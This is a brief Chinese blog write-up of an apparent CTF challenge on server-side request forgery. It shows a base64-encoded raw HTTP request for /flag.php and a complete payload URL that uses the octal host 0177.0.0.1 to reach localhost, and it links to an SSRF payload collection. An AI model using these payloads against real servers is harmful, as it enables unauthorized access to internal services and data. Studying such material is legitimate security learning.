SSRF服务端请求伪造
原创
©著作权归作者所有:来自51CTO博客作者kinnisoy的原创作品,请联系作者获取转载授权,否则将追究法律责任
如题:
通过get传入三个参数,data
,host
,port
.
fsockopen
创建一个文件句柄,将data
内容写进去(此处执行请求访问操作),fgets
读取文件,返回结果打印出来。
data
模拟http请求,写入以下内容,编码为base64
GET /flag.php HTTP/1.1
HOST:127.0.0.1
Connection:Close
Referer:127.0.0.1
//请求头结束,结尾有两个 \r\n
R0VUIC9mbGFnLnBocCBIVFRQLzEuMQ0KSE9TVDoxMjcuMC4wLjEgDQpDb25uZWN0aW9uOkNsb3NlDQpSZWZlcmVyOjEyNy4wLjAuMQ0KDQo=
其余两个参数标准传入就可。
payload:
/index.php?data=R0VUIC9mbGFnLnBocCBIVFRQLzEuMQ0KSE9TVDoxMjcuMC4wLjEgDQpDb25uZWN0aW9uOkNsb3NlDQpSZWZlcmVyOjEyNy4wLjAuMQ0KDQo=&host=0177.0.0.1&port=80
漏洞详情&Bypass:
pyload合集:https://github.com/mishmashclone/swisskyrepo-PayloadsAllTheThings/tree/master/Server%20Side%20Request%20Forgery